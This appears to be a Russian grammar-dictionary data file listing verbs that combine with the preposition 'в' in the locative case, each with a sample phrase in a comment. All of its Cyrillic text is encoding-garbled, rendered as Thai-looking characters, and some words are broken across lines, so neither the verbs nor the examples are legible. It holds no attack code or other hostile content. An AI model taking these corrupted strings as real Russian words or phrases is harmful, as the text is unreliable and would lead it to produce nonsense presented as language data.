rus_verbs:ะฒะพััะพะทะดะฐะฒะฐัั{}, // ะฒะพััะพะทะดะฐัั ะฒ ะฟะฐะผััะธ ะพะฑัะฐะท ัะตะปะพะฒะตะบะฐ
rus_verbs:ะฒะพััะพะทะดะฐัััั{}, // ะฒะพััะพะทะดะฐัััั ะฒ ะฟะฐะผััะธ
rus_verbs:ะฒัะบะธะฟััะธัั{}, // ะฒัะบะธะฟััะธัั ะฒ ัะฐะนะฝะธะบะต ะฒะพะดั
rus_verbs:ะฒัะบะธะฟััะธัััั{}, // ะฒัะบะธะฟััะธัััั ะฒ ัะฐะนะฝะธะบะต
rus_verbs:ะฒัััะตัะธัั{}, // ะฒัััะตัะธัั ะฒ ะบะปะฐััะต ััะฐัะพะณะพ ะฟัะธััะตะปั
rus_verbs:ะฒัััะตัะธัััั{}, // ะฒัััะตัะธัััั ะฒ ะบะปะฐััะต
rus_verbs:ะฒัััะตัะฐัั{}, // ะฒัััะตัะฐัั ะฒ ะปะตัั ะณะพะปะพะดะฝะพะณะพ ะผะตะดะฒะตะดั
rus_verbs:ะฒัััะตัะฐัััั{}, // ะฒัััะตัะฐัััั ะฒ ะบะฐัะต
rus_verbs:ะฒัะฑัะธะฒะฐัั{}, // ะฒัะฑัะธะฒะฐัั ััะพ-ัะพ ะฒ ะฟะพะดะผััะบะฐั
rus_verbs:ะฒัะฑัะธัั{}, // ะฒัะฑัะธัั ััะพ-ัะพ ะฒ ะฟะฐั
ั
rus_verbs:ะฒัะฒะฐะปััั{}, // ะฒัะฒะฐะปััั ะบะพะณะพ-ัะพ ะฒ ะณััะทะธ
rus_verbs:ะฒัะฒะฐะปััััั{}, // ะฒัะฒะฐะปััััั ะฒ ะณััะทะธ
rus_verbs:ะฒัะฒะฐัะธะฒะฐัั{}, // ะฒัะฒะฐัะธะฒะฐัั ะฒ ะผะพะปะพะบะต
rus_verbs:ะฒัะฒะฐัะธะฒะฐัััั{}, // ะฒัะฒะฐัะธะฒะฐัััั ะฒ ะผะพะปะพะบะต
rus_verbs:ะฒัะฒะฐัะธัั{}, // ะฒัะฒะฐัะธัั ะฒ ะผะพะปะพะบะต
rus_verbs:ะฒัะฒะฐัะธัััั{}, // ะฒัะฒะฐัะธัััั ะฒ ะผะพะปะพะบะต
rus_verbs:ะฒัะณััะทะฐัั{}, // ะฒัะณััะทะฐัั ะฒ ัััะต ะพัะฒะตัััะฒะธะต
rus_verbs:ะฒัะณััะทัั{}, // ะฒัะณััะทัั ะฒ ัััะต ะพัะฒะตัััะธะต
rus_verbs:ะฒัะณัะปะธะฒะฐัั{}, // ะฒัะณัะปะธะฒะฐัั ะฒ ะฟะฐัะบะต ัะพะฑะฐะบั
rus_verbs:ะฒัะณัะปััั{}, // ะฒัะณัะปััั ะฒ ะฟะฐัะบะต ัะพะฑะฐะบั
rus_verbs:ะฒัะดะพะปะฑะธัั{}, // ะฒัะดะพะปะฑะธัั ะฒ ััะฒะพะปะต ัะณะปัะฑะปะตะฝะธะต
rus_verbs:ะฒัะถะธัั{}, // ะฒัะถะธัั ะฒ ะฟััััะฝะต
rus_verbs:ะัะธัะบะฐัั{}, // ะัะธัะบะฐัั ะฒ ะฟัะพะณัะฐะผะผะต ะพัะธะฑะบั
rus_verbs:ะฒัะธัะบะฐัััั{}, // ะัะธะฑะบะฐ ะฒัะธัะบะฐะปะฐัั ะฒ ะฟัะพะณัะฐะผะผะต
rus_verbs:ะฒัะธัะบะธะฒะฐัั{}, // ะฒัะธัะบะธะฒะฐัั ะฒ ะฟัะพะณัะฐะผะผะต ะพัะธะฑะบั
rus_verbs:ะฒัะธัะบะธะฒะฐัััั{}, // ะฒัะธัะบะธะฒะฐัััั ะฒ ะฟัะพะณัะฐะผะผะต
rus_verbs:ะฒัะบัะฐะธะฒะฐัั{}, // ะฒัะบัะฐะธะฒะฐัั ะฒ ัะฐัะฟะธัะฐะฝะธะธ ะฒัะตะผั
rus_verbs:ะฒัะบัะฐะธะฒะฐัััั{}, // ะฒัะบัะฐะธะฒะฐัััั ะฒ ัะฐัะฟะธัะฐะฝะธะธ
ะธะฝัะธะฝะธัะธะฒ:ะฒัะบัะฟะฐัััั{aux stress="ะฒ^ัะบัะฟะฐัััั"}, // ะฒัะบัะฟะฐัััั ะฒ ะพะทะตัะต
ะณะปะฐะณะพะป:ะฒัะบัะฟะฐัััั{ะฒะธะด:ัะพะฒะตัั},
rus_verbs:ะฒัะปะพะฒะธัั{}, // ะฒัะปะพะฒะธัั ะฒ ะฟััะดั
rus_verbs:ะฒัะผะฐัะธะฒะฐัั{}, // ะฒัะผะฐัะธะฒะฐัั ะฒ ะผะพะปะพะบะต
rus_verbs:ะฒัะผะฐัะธะฒะฐัััั{}, // ะฒัะผะฐัะธะฒะฐัััั ะฒ ะผะพะปะพะบะต
rus_verbs:ะฒัะฝัั
ะธะฒะฐัั{}, // ะฒัะฝัั
ะธะฒะฐัั ะฒ ััะฐะฒะต ัะปะตะดั
rus_verbs:ะฒัะฟะฐัะบะฐัั{}, // ะฒัะฟะฐัะบะฐัั ะฒ ัะผะพะปะต ัะฒะพั ะพะดะตะถะดั
rus_verbs:ะฒัะฟะฐัะบะฐัััั{}, // ะฒัะฟะฐัะบะฐัััั ะฒ ะณััะทะธ
rus_verbs:ะฒััะฐััะธัั{}, // ะฒััะฐััะธัั ะฒ ัะตะฟะปะธัะต ะฒะตะดัะพ ะพะณัััะธะบะพะฒ
rus_verbs:ะฒััะฐัะธะฒะฐัั{}, // ะฒััะฐัะธะฒะฐัั ะฒ ัะตะฟะปะธัะต ะฟะพะผะธะดะพัั
rus_verbs:ะฒััะฐัะธะฒะฐัััั{}, // ะฒััะฐัะธะฒะฐัััั ะฒ ัะตะฟะปะธัะต
rus_verbs:ะฒััััั{}, // ะฒััััั ะฒ ะทะตะผะปะต ะณะปัะฑะพะบัั ัะผั
rus_verbs:ะฒััะฐะดะธัั{}, // ะฒััะฐะดะธัั ะฒ ะฟััััะฝะฝะพะน ะผะตััะฝะพััะธ
rus_verbs:ะฒััะฐะดะธัััั{}, // ะฒััะฐะดะธัััั ะฒ ะฟััััะฝะฝะพะน ะผะตััะฝะพััะธ
rus_verbs:ะฒััะฐะถะธะฒะฐัั{}, // ะฒััะฐะถะธะฒะฐัั ะฒ ะฟััััะฝะต
rus_verbs:ะฒััะฒะตัะปะธะฒะฐัั{}, // ะฒััะฒะตัะปะธะฒะฐัั ะฒ ะดะพัะบะต ะพัะฒะตัััะฒะธะต
rus_verbs:ะฒััะฒะตัะปะธะฒะฐัััั{}, // ะฒััะฒะตัะปะธะฒะฐัััั ะฒ ััะตะฝะต
rus_verbs:ะฒััะฒะตัะปะธัั{}, // ะฒััะฒะตัะปะธัั ะฒ ััะตะฝะต ะพัะฒะตัััะฒะธะต
rus_verbs:ะฒััะฒะตัะปะธัััั{}, // ะฒััะฒะตัะปะธัััั ะฒ ััะตะฝะต
rus_verbs:ะฒััะบะพะฑะปะธัั{}, // ะฒััะบะพะฑะปะธัั ะฒ ััะพะปะตัะฝะธัะต ะบะฐะฝะฐะฒะบั
rus_verbs:ะฒััะผะฐััะธะฒะฐัั{}, // ะฒััะผะฐััะธะฒะฐัั ะฒ ัะตะผะฝะพัะต
rus_verbs:ะทะฐะผะตัะธัั{}, // ะทะฐะผะตัะธัั ะฒ ะฟะพะผะตัะตะฝะธะธ
rus_verbs:ะพะบะฐะทะฐัััั{}, // ะพะบะฐะทะฐัััั ะฒ ะฟะตัะฒัั
ััะดะฐั
rus_verbs:ะดััะธัั{}, // ะดััะธัั ะฒ ะพะฑัััะธัั
rus_verbs:ะพััะฐะฒะฐัััั{}, // ะพััะฐะฒะฐัััั ะฒ ะบะปะฐััะต
rus_verbs:ะฟะพัะฒะธัััั{}, // ะฒะฟะตัะฒัะต ะฟะพัะฒะธัััั ะฒ ัะธะปัะผะต
rus_verbs:ะปะตะถะฐัั{}, // ะปะตะถะฐัั ะฒ ัััะปััะต
rus_verbs:ัะฐะทะดะฐัััั{}, // ัะฐะทะดะฐัััั ะฒ ะฟะปะตัะฐั
rus_verbs:ะถะดะฐัั{}, // ะถะดะฐัั ะฒ ะทะดะฐะฝะธะธ ะฒะพะบะทะฐะปะฐ
rus_verbs:ะถะธัั{}, // ะถะธัั ะฒ ััััะพะฑะฐั
rus_verbs:ะฟะพััะตะปะธัั{}, // ะฟะพััะตะปะธัั ะฒ ะฟัะธั
ะพะถะตะน
rus_verbs:ะพะบะฐะทัะฒะฐัััั{}, // ะพะบะฐะทัะฒะฐัััั ะฒ ะฝะตะฟัะธััะฝะพะน ัะธััะฐัะธะธ
rus_verbs:ะดะตัะถะฐัั{}, // ะดะตัะถะฐัั ะฒ ะณะพะปะพะฒะต
rus_verbs:ะพะฑะฝะฐััะถะธัั{}, // ะพะฑะฝะฐััะถะธัั ะฒ ัะตะฑะต ัะฟะพัะพะฑะฝะพััั
rus_verbs:ะฝะฐัะธะฝะฐัั{}, // ะฝะฐัะธะฝะฐัั ะฒ ะปะฐะฑะพัะฐัะพัะธะธ
rus_verbs:ัะฐััะบะฐะทัะฒะฐัั{}, // ัะฐััะบะฐะทัะฒะฐัั ะฒ ะปะธัะฐั
rus_verbs:ะพะถะธะดะฐัั{}, // ะพะถะธะดะฐัั ะฒ ะฟะพะผะตัะตะฝะธะธ
rus_verbs:ะฟัะพะดะพะปะถะธัั{}, // ะฟัะพะดะพะปะถะธัั ะฒ ะฟะพะผะตัะตะฝะธะธ
rus_verbs:ัะพััะพััั{}, // ัะพััะพััั ะฒ ะณััะฟะฟะต
rus_verbs:ัะพะดะธัััั{}, // ัะพะดะธัััั ะฒ ััะฑะฐัะบะต
rus_verbs:ะธัะบะฐัั{}, // ะธัะบะฐัั ะฒ ะบะฐัะผะฐะฝะต
rus_verbs:ะธะผะตัััั{}, // ะธะผะตัััั ะฒ ะฝะฐะปะธัะธะธ
rus_verbs:ะณะพะฒะพัะธัััั{}, // ะณะพะฒะพัะธัััั ะฒ ััะตะดะต ะฟะฐะฝะบะพะฒ
rus_verbs:ะบะปัััััั{}, // ะบะปัััััั ะฒ ะฒะตัะฝะพััะธ
rus_verbs:ัะทะฝะฐะฒะฐัั{}, // ัะทะฝะฐะฒะฐัั ะฒ ะฝะตะผ ัะฒะพะตะณะพ ััะฝะฐ
rus_verbs:ะฟัะธะทะฝะฐัััั{}, // ะฟัะธะทะฝะฐัััั ะฒ ะพัะธะฑะบะต
rus_verbs:ัะพะผะฝะตะฒะฐัััั{}, // ัะพะผะฝะตะฒะฐัััั ะฒ ะธัะบัะตะฝะฝะพััะธ
rus_verbs:ัะพะปะพัั{}, // ัะพะปะพัั ะฒ ัััะฟะต
rus_verbs:ะฟะพะฝะฐะดะพะฑะธัััั{}, // ะฟะพะฝะฐะดะพะฑะธัััั ะฒ ััะดะต
rus_verbs:ัะปัะถะธัั{}, // ัะปัะถะธัั ะฒ ะฟะตั
ะพัะต
rus_verbs:ะฟะพัะพะปะพัั{}, // ะฟะพัะพะปะพัั ะฒ ัััะฟะต
rus_verbs:ะฟะพัะฒะปััััั{}, // ะฟะพัะฒะปััััั ะฒ ัะตะฐััะต
rus_verbs:ัะถะฐัั{}, // ัะถะฐัั ะฒ ะพะฑัััะธัั
rus_verbs:ะดะตะนััะฒะพะฒะฐัั{}, // ะดะตะนััะฒะพะฒะฐัั ะฒ ะฟะพััะฐะฝะพะฒะบะต
rus_verbs:ัะตะปะธัั{}, // ัะตะปะธัั ะฒ ะณะพััะธะฝะธัะต
rus_verbs:ะฟะพะนะผะฐัั{}, // ะฟะพะนะผะฐัั ะฒ ะปะตัั
rus_verbs:ัะฒะธะดะฐัั{}, // ัะฒะธะดะฐัั ะฒ ัะพะปะฟะต
rus_verbs:ะฟะพะดะพะถะดะฐัั{}, // ะฟะพะดะพะถะดะฐัั ะฒ ะบะฐะฑะธะฝะตัะต
rus_verbs:ะฟัะพัะตััั{}, // ะฟัะพัะตััั ะฒ ะณะปะฐะทะฐั
rus_verbs:ัะพะฝััั{}, // ัะพะฝััั ะฒ ัะตะบะต
rus_verbs:ะพัััะฐัั{}, // ะพัััะฐัั ะฒ ะถะธะฒะพัะต
rus_verbs:ะพัะธะฑะธัััั{}, // ะพัะธะฑะธัััั ะฒ ัะฐััะตัะฐั
rus_verbs:ะพัะผะตัะธัั{}, // ะพัะผะตัะธัั ะฒ ัะฟะธัะบะต
rus_verbs:ะฟะพะบะฐะทัะฒะฐัั{}, // ะฟะพะบะฐะทัะฒะฐัั ะฒ ะดะธะฝะฐะผะธะบะต
rus_verbs:ัะบัััััั{}, // ัะบัััััั ะฒ ััะฐะฒะต
rus_verbs:ัะฑะตะดะธัััั{}, // ัะฑะตะดะธัััั ะฒ ะบะพััะตะบัะฝะพััะธ
rus_verbs:ะฟัะพะทะฒััะฐัั{}, // ะฟัะพะทะฒััะฐัั ะฒ ะฝะฐััะฝะธะบะฐั
rus_verbs:ัะฐะทะณะพะฒะฐัะธะฒะฐัั{}, // ัะฐะทะณะพะฒะฐัะธะฒะฐัั ะฒ ัะพะนะต
rus_verbs:ะธะทะดะฐัั{}, // ะธะทะดะฐัั ะฒ ะ ะพััะธะธ
rus_verbs:ะฟัะพัะธัะฐัั{}, // ะฟัะพัะธัะฐัั ะฒ ะณะฐะทะตัะต
rus_verbs:ะฟะพะฟัะพะฑะพะฒะฐัั{}, // ะฟะพะฟัะพะฑะพะฒะฐัั ะฒ ะดะตะปะต
rus_verbs:ะทะฐะผะตัะฐัั{}, // ะทะฐะผะตัะฐัั ะฒ ะฟัะพะณัะฐะผะผะต ะพัะธะฑะบั
rus_verbs:ะฝะตััะธ{}, // ะฝะตััะธ ะฒ ััะบะฐั
rus_verbs:ะฟัะพะฟะฐััั{}, // ะฟัะพะฟะฐััั ะฒ ะฟะปะตะฝั
rus_verbs:ะฝะพัะธัั{}, // ะฝะพัะธัั ะฒ ะบะฐัะผะฐะฝะต
rus_verbs:ะณะพัะตัั{}, // ะณะพัะตัั ะฒ ะฐะดั
rus_verbs:ะฟะพะฟัะฐะฒะธัั{}, // ะฟะพะฟัะฐะฒะธัั ะฒ ะฟัะพะณัะฐะผะผะต
rus_verbs:ะทะฐััััั{}, // ะทะฐััััั ะฒ ะฝะตัะดะพะฑะฝะพะน ะฟะพะทะต
rus_verbs:ะฟะพะปััะฐัั{}, // ะฟะพะปััะฐัั ะฒ ะบะฐััะต
rus_verbs:ะฟะพััะตะฑะพะฒะฐัััั{}, // ะฟะพััะตะฑะพะฒะฐัััั ะฒ ัะฐะฑะพัะต
rus_verbs:ัะฟัััะฐัั{}, // ัะฟัััะฐัั ะฒ ัะบะฐัั
rus_verbs:ััะธัััั{}, // ััะธัััั ะฒ ะธะฝััะธัััะต
rus_verbs:ัะฐะทะฒะตัะฝััััั{}, // ัะฐะทะฒะตัะฝััััั ะฒ ะบะพัะธะดะพัะต
rus_verbs:ะฟะพะดะพะทัะตะฒะฐัั{}, // ะฟะพะดะพะทัะตะฒะฐัั ะฒ ะผะพัะตะฝะฝะธัะตััะฒะต
rus_verbs:ะธะณัะฐัั{}, // ะธะณัะฐัั ะฒ ะบะพะผะฐะฝะดะต
rus_verbs:ััะณัะฐัั{}, // ััะณัะฐัั ะฒ ะบะพะผะฐะฝะดะต
rus_verbs:ัััะพะธัั{}, // ัััะพะธัั ะฒ ะดะตัะตะฒะฝะต
rus_verbs:ััััะพะธัั{}, // ััััะพะธัั ะฒ ะดะพะผะต ะฒะตัะตัะธะฝะบั
rus_verbs:ะฝะฐั
ะพะดะธัั{}, // ะฝะฐั
ะพะดะธัั ะฒ ะปะตัั
rus_verbs:ะฝัะถะดะฐัััั{}, // ะฝัะถะดะฐัััั ะฒ ะดะตะฝัะณะฐั
rus_verbs:ะธัะฟััะฐัั{}, // ะธัะฟััะฐัั ะฒ ัะฐะฑะพัะตะน ะพะฑััะฐะฝะพะฒะบะต
rus_verbs:ะผะตะปัะบะฝััั{}, // ะผะตะปัะบะฝััั ะฒ ะฟัะธัะตะปะต
rus_verbs:ะพัััะธัััั{}, // ะพัััะธัััั ะฒ ะทะฐะบัััะพะผ ะฟะพะผะตัะตะฝะธะธ
ะธะฝัะธะฝะธัะธะฒ:ะธัะฟะพะปัะทะพะฒะฐัั{ะฒะธะด:ัะพะฒะตัั}, // ะธัะฟะพะปัะทะพะฒะฐัั ะฒ ัะฐะฑะพัะต
ะธะฝัะธะฝะธัะธะฒ:ะธัะฟะพะปัะทะพะฒะฐัั{ะฒะธะด:ะฝะตัะพะฒะตัั},
ะณะปะฐะณะพะป:ะธัะฟะพะปัะทะพะฒะฐัั{ะฒะธะด:ะฝะตัะพะฒะตัั},
ะณะปะฐะณะพะป:ะธัะฟะพะปัะทะพะฒะฐัั{ะฒะธะด:ัะพะฒะตัั},
rus_verbs:ะปะตัะตัั{}, // ะปะตัะตัั ะฒ ัะฐะผะพะปะตัะต
rus_verbs:ัะผะตััััั{}, // ัะผะตััััั ะฒ ัะธัะบะต
rus_verbs:ะตะทะดะธัั{}, // ะตะทะดะธัั ะฒ ะปะธะผัะทะธะฝะต
rus_verbs:ะทะฐัะฝััั{}, // ะทะฐัะฝััั ะฒ ะฝะตัะดะพะฑะฝะพะน ะฟะพะทะต
rus_verbs:ะทะฐััะฐัั{}, // ะทะฐััะฐัั ะฒ ะฝะตัะพัะผะฐะปัะฝะพะน ะพะฑััะฐะฝะพะฒะบะต
rus_verbs:ะพัะฝััััั{}, // ะพัะฝััััั ะฒ ะฝะตะทะฝะฐะบะพะผะพะน ะพะฑััะฐะฝะพะฒะบะต
rus_verbs:ัะฒะพัะธัััั{}, // ะงัะพ ัะฒะพัะธััั ะฒ ะทะฐะบัััะพะน ะทะพะฝะต
rus_verbs:ัะฐะทะณะปัะดะตัั{}, // ัะฐะทะณะปัะดะตัั ะฒ ัะตะผะฝะพัะต
rus_verbs:ะธะทััะฐัั{}, // ะธะทััะฐัั ะฒ ะตััะตััะฒะตะฝะฝัั
ััะปะพะฒะธัั
rus_verbs:ัะดะตัะถะฐัััั{}, // ัะดะตัะถะฐัััั ะฒ ัะตะดะปะต
rus_verbs:ะฟะพะฑัะฒะฐัั{}, // ะฟะพะฑัะฒะฐัั ะฒ ะทะพะพะฟะฐัะบะต
rus_verbs:ัะปะพะฒะธัั{}, // ัะปะพะฒะธัั ะฒ ัะปะพะฒะฐั
ะฝะพัะบั ะพััะฐัะฝะธั
rus_verbs:ะฟัะธะพะฑัะตััะธ{}, // ะฟัะธะพะฑัะตััะธ ะฒ ะปะฐะฒะบะต
rus_verbs:ะธััะตะทะฐัั{}, // ะธััะตะทะฐัั ะฒ ััะผะฐะฝะต
rus_verbs:ัะฒะตัััั{}, // ัะฒะตัััั ะฒ ัะฒะพะตะน ะฝะตะฒะธะฝะพะฒะฝะพััะธ
rus_verbs:ะฟัะพะดะพะปะถะฐัััั{}, // ะฟัะพะดะพะปะถะฐัััั ะฒ ะฒะพะทะดัั
ะต
rus_verbs:ะพัะบััะฒะฐัั{}, // ะพัะบััะฒะฐัั ะฒ ะณะพัะพะดะต ะฝะพะฒัะน ััะฐะดะธะพะฝ
rus_verbs:ะฟะพะดะดะตัะถะฐัั{}, // ะฟะพะดะดะตัะถะฐัั ะฒ ะฟะฐัะบะต ะฟะพััะดะพะบ
rus_verbs:ัะพะปะธัั{}, // ัะพะปะธัั ะฒ ะฑะพัะบะต
rus_verbs:ะฟัะพะถะธัั{}, // ะฟัะพะถะธัั ะฒ ะดะตัะตะฒะฝะต
rus_verbs:ัะพะทะดะฐะฒะฐัั{}, // ัะพะทะดะฐะฒะฐัั ะฒ ัะตะฐััะต
rus_verbs:ะพะฑััะถะดะฐัั{}, // ะพะฑััะถะดะฐัั ะฒ ะบะพะปะปะตะบัะธะฒะต
rus_verbs:ะทะฐะบะฐะทะฐัั{}, // ะทะฐะบะฐะทะฐัั ะฒ ะผะฐะณะฐะทะธะฝะต
rus_verbs:ะพัััะบะฐัั{}, // ะพัััะบะฐัั ะฒ ะณะฐัะฐะถะต
rus_verbs:ััะฝััั{}, // ััะฝััั ะฒ ะบัะตัะปะต
rus_verbs:ะทะฐะดะตัะถะฐัััั{}, // ะทะฐะดะตัะถะฐัััั ะฒ ัะตะฐััะต
rus_verbs:ะฟะพะดะพะฑัะฐัั{}, // ะฟะพะดะพะฑัะฐัั ะฒ ะบะพะปะปะตะบัะธะธ
rus_verbs:ะฟัะพะฑะพะฒะฐัั{}, // ะฟัะพะฑะพะฒะฐัั ะฒ ัะฐะฑะพัะต
rus_verbs:ะบััะธัั{}, // ะบััะธัั ะฒ ะทะฐะบัััะพะผ ะฟะพะผะตัะตะฝะธะธ
rus_verbs:ััััะฐะธะฒะฐัั{}, // ััััะฐะธะฒะฐัั ะฒ ะปะตัั ะทะฐัะฐะดั
rus_verbs:ัััะฐะฝะพะฒะธัั{}, // ัััะฐะฝะพะฒะธัั ะฒ ะฑะฐะณะฐะถะฝะธะบะต
rus_verbs:ะทะฐะฟะตัะตัั{}, // ะทะฐะฟะตัะตัั ะฒ ัะฐัะฐะต
rus_verbs:ัะพะดะตัะถะฐัั{}, // ัะพะดะตัะถะฐัั ะฒ ะดะพััะฐัะบะต
rus_verbs:ัะธะฝะตัั{}, // ัะธะฝะตัั ะฒ ะบะธัะปะพัะพะดะฝะพะน ะฐัะผะพััะตัะต
rus_verbs:ัะปััะฐัััั{}, // ัะปััะฐัััั ะฒ ะณะพะปะพัะต
rus_verbs:ะทะฐะบัััััั{}, // ะทะฐะบัััััั ะฒ ะทะดะฐะฝะธะธ
rus_verbs:ัะบััะฒะฐัััั{}, // ัะบััะฒะฐัััั ะฒ ะบะฒะฐััะธัะต
rus_verbs:ัะพะดะธัั{}, // ัะพะดะธัั ะฒ ะฑะพะปัะฝะธัะต
rus_verbs:ะพะฟะธัะฐัั{}, // ะพะฟะธัะฐัั ะฒ ะทะฐะผะตัะบะฐั
rus_verbs:ะฟะตัะตั
ะฒะฐัะธัั{}, // ะฟะตัะตั
ะฒะฐัะธัั ะฒ ะบะพัะธะดะพัะต
rus_verbs:ะผะตะฝััั{}, // ะผะตะฝััั ะฒ ะผะฐะณะฐะทะธะฝะต
rus_verbs:ัะบััะฒะฐัั{}, // ัะบััะฒะฐัั ะฒ ััะถะพะน ะบะฒะฐััะธัะต
rus_verbs:ััะธัะฝััั{}, // ััะธัะฝััั ะฒ ััะฐะปัะฝัั
ะพะฑัััะธัั
rus_verbs:ะพััะฐะฝะฐะฒะปะธะฒะฐัััั{}, // ะพััะฐะฝะฐะฒะปะธะฒะฐัััั ะฒ ะณะพััะธะฝะธัะต
rus_verbs:ะผะตะปัะบะฐัั{}, // ะผะตะปัะบะฐัั ะฒ ัะตะปะตะฒะธะทะพัะต
rus_verbs:ะฟัะธัััััะฒะพะฒะฐัั{}, // ะฟัะธัััััะฒะพะฒะฐัั ะฒ ะฐัะดะธัะพัะธะธ
rus_verbs:ัะบัะฐััั{}, // ัะบัะฐััั ะฒ ะผะฐะณะฐะทะธะฝะต
rus_verbs:ะฟะพะฑะตะดะธัั{}, // ะฟะพะฑะตะดะธัั ะฒ ะฒะพะนะฝะต
rus_verbs:ัะฐัะฟะพะปะพะถะธัััั{}, // ัะฐัะฟะพะปะพะถะธัััั ะฒ ะณะพััะธะฝะธัะต
rus_verbs:ัะฟะพะผัะฝััั{}, // ัะฟะพะผัะฝััั ะฒ ัะฒะพะตะน ะบะฝะธะณะต
rus_verbs:ะฟะปััั{}, // ะฟะปััั ะฒ ััะฐัะพะน ะฑะพัะบะต
rus_verbs:ะฝะฐััะฟะฐัั{}, // ะฝะฐััะฟะฐัั ะฒ ะณะปัะฑะธะฝะต
rus_verbs:ะฟัะพัะฒะปััััั{}, // ะฟัะพัะฒะปััััั ะฒ ัะฐะฑะพัะต
rus_verbs:ะทะฐัะธั
ะฝััั{}, // ะทะฐัะธั
ะฝััั ะฒ ะฝะพัะต
rus_verbs:ะฟะพัััะพะธัั{}, // ะฟะพัััะพะธัั ะฒ ะณะฐัะฐะถะต
rus_verbs:ะฟะพะดะดะตัะถะธะฒะฐัั{}, // ะฟะพะดะดะตัะถะธะฒะฐัั ะฒ ะธัะฟัะฐะฒะฝะพะผ ัะพััะพัะฝะธะธ
rus_verbs:ะทะฐัะฐะฑะพัะฐัั{}, // ะทะฐัะฐะฑะพัะฐัั ะฒ ััะฐััะฐะฟะต
rus_verbs:ัะปะพะผะฐัั{}, // ัะปะพะผะฐัั ะฒ ััััะฐะฒะต
rus_verbs:ัะฝะธะผะฐัั{}, // ัะฝะธะผะฐัั ะฒ ะณะฐัะดะตัะพะฑะต
rus_verbs:ัะพั
ัะฐะฝะธัั{}, // ัะพั
ัะฐะฝะธัั ะฒ ะบะพะปะปะตะบัะธะธ
rus_verbs:ัะฐัะฟะพะปะฐะณะฐัััั{}, // ัะฐัะฟะพะปะฐะณะฐัััั ะฒ ะพัะดะตะปัะฝะพะผ ะบะฐะฑะธะฝะตัะต
rus_verbs:ััะฐะถะฐัััั{}, // ััะฐะถะฐัััั ะฒ ัะตััะฝะพะผ ะฑะพั
rus_verbs:ัะฟััะบะฐัััั{}, // ัะฟััะบะฐัััั ะฒ ะฑะฐัะธัะบะฐัะต
rus_verbs:ัะฝะธััะพะถะธัั{}, // ัะฝะธััะพะถะธัั ะฒ ัั
ัะพะฝะต
rus_verbs:ะธะทััะธัั{}, // ะธะทััะธัั ะฒ ะตััะตััะฒะตะฝะฝัั
ััะปะพะฒะธัั
rus_verbs:ัะพะถะดะฐัััั{}, // ัะพะถะดะฐัััั ะฒ ะผัะบะฐั
rus_verbs:ะฟัะตะฑัะฒะฐัั{}, // ะฟัะตะฑัะฒะฐัั ะฒ ะฟัะพัััะฐัะธะธ
rus_verbs:ะฟัะธะปะตัะตัั{}, // ะฟัะธะปะตัะตัั ะฒ ะฐััะพะฑััะต
rus_verbs:ะดะพะณะฝะฐัั{}, // ะดะพะณะฝะฐัั ะฒ ะฟะตัะตัะปะบะต
rus_verbs:ะธะทะพะฑัะฐะทะธัั{}, // ะธะทะพะฑัะฐะทะธัั ะฒ ัะฐะฝัะต
rus_verbs:ะฟัะพะตั
ะฐัั{}, // ะฟัะพะตั
ะฐัั ะฒ ะปะตะณะบะพะฒััะบะต
rus_verbs:ัะฑะตะดะธัั{}, // ัะฑะตะดะธัั ะฒ ัะฐะทัะผะฝะพััะธ
rus_verbs:ะฟัะธะณะพัะพะฒะธัั{}, // ะฟัะธะณะพัะพะฒะธัั ะฒ ะดัั
ะพะฒะบะต
rus_verbs:ัะพะฑะธัะฐัั{}, // ัะพะฑะธัะฐัั ะฒ ะปะตัั
rus_verbs:ะฟะพะฟะปััั{}, // ะฟะพะฟะปััั ะฒ ะบะฐัะตัะต
rus_verbs:ะดะพะฒะตัััั{}, // ะดะพะฒะตัััั ะฒ ัะฟัะฐะฒะปะตะฝะธะธ
rus_verbs:ัะฐะทะพะฑัะฐัััั{}, // ัะฐะทะพะฑัะฐัััั ะฒ ะทะฐะบะพะฝะฐั
rus_verbs:ะปะพะฒะธัั{}, // ะปะพะฒะธัั ะฒ ะพะทะตัะต
rus_verbs:ะฟัะพะตััั{}, // ะฟัะพะตััั ะฒ ะบััะบะต ะผะตัะฐะปะปะฐ ะพัะฒะตัััะธะต
rus_verbs:ัะฟัััะฐัััั{}, // ัะฟัััะฐัััั ะฒ ะฟะพะดะฒะฐะปะต
rus_verbs:ะฟัะพะฒะพะทะณะปะฐัะธัั{}, // ะฟัะพะฒะพะทะณะปะฐัะธัั ะฒ ัะตัะธ
rus_verbs:ะธะทะปะพะถะธัั{}, // ะธะทะปะพะถะธัั ะฒ ัะฒะพัะผ ะฒััััะฟะปะตะฝะธะธ
rus_verbs:ะทะฐะผััััั{}, // ะทะฐะผััััั ะฒ ะบะพัะธะดะพัะต
rus_verbs:ัะฐะทะดะฐะฒะฐัััั{}, // ะัะธะบ ัะณัะฐัะฐ ัะฐะทะดะฐะตััั ะฒ ะดะถัะฝะณะปัั
rus_verbs:ะดะพะบะฐะทะฐัั{}, // ะะฒัะพั ะดะพะบะฐะทะฐะป ะฒ ัะฒะพะตะน ัะฐะฑะพัะต, ััะพ ัะตะพัะตะผะฐ ะฒะตัะฝะฐ
rus_verbs:ั
ัะฐะฝะธัั{}, // ั
ัะฐะฝะธัั ะฒ ัะบะฐััะปะบะต
rus_verbs:ัััะธัั{}, // ัััะธัั ะฒ ะบะปะฐััะต
ะณะปะฐะณะพะป:ัะฐัััะฟะฐัััั{ aux stress="ัะฐัััะฟ^ะฐัััั" }, // ัะฐัััะฟะฐัััั ะฒ ะธะทะฒะธะฝะตะฝะธัั
ะธะฝัะธะฝะธัะธะฒ:ัะฐัััะฟะฐัััั{ aux stress="ัะฐัััะฟ^ะฐัััั" },
rus_verbs:ัะตััะธัั{}, // ัะตััะธัั ะฒ ัะตััะฐะดะบะต
rus_verbs:ะพััะฐะทะธัััั{}, // ะพััะฐะทะธัััั ะฒ ะฐััะตััะฐัะต
rus_verbs:ะณัะตัั{}, // ะณัะตัั ะฒ ะผะธะบัะพะฒะพะปะฝะพะฒะบะต
rus_verbs:ะทะฐัััะฐัั{}, // ะัะพ-ัะพ ะทะฐัััะฐะป ะฒ ะณะปัะฑะธะฝะต ะปะตัะฐ
rus_verbs:ัะฐัััะถะดะฐัั{}, // ะะฒัะพั ัะฐัััะถะดะฐะตั ะฒ ัะฒะพะตะน ััะฐััะต
rus_verbs:ะพัะฒะพะฑะพะดะธัั{}, // ะะฑะฒะธะฝัะตะผัะต ะฑัะปะธ ะพัะฒะพะฑะพะถะดะตะฝั ะฒ ะทะฐะปะต ััะดะฐ
rus_verbs:ะพะบััะถะฐัั{}, // ะพะบััะถะฐัั ะฒ ะปะตัั
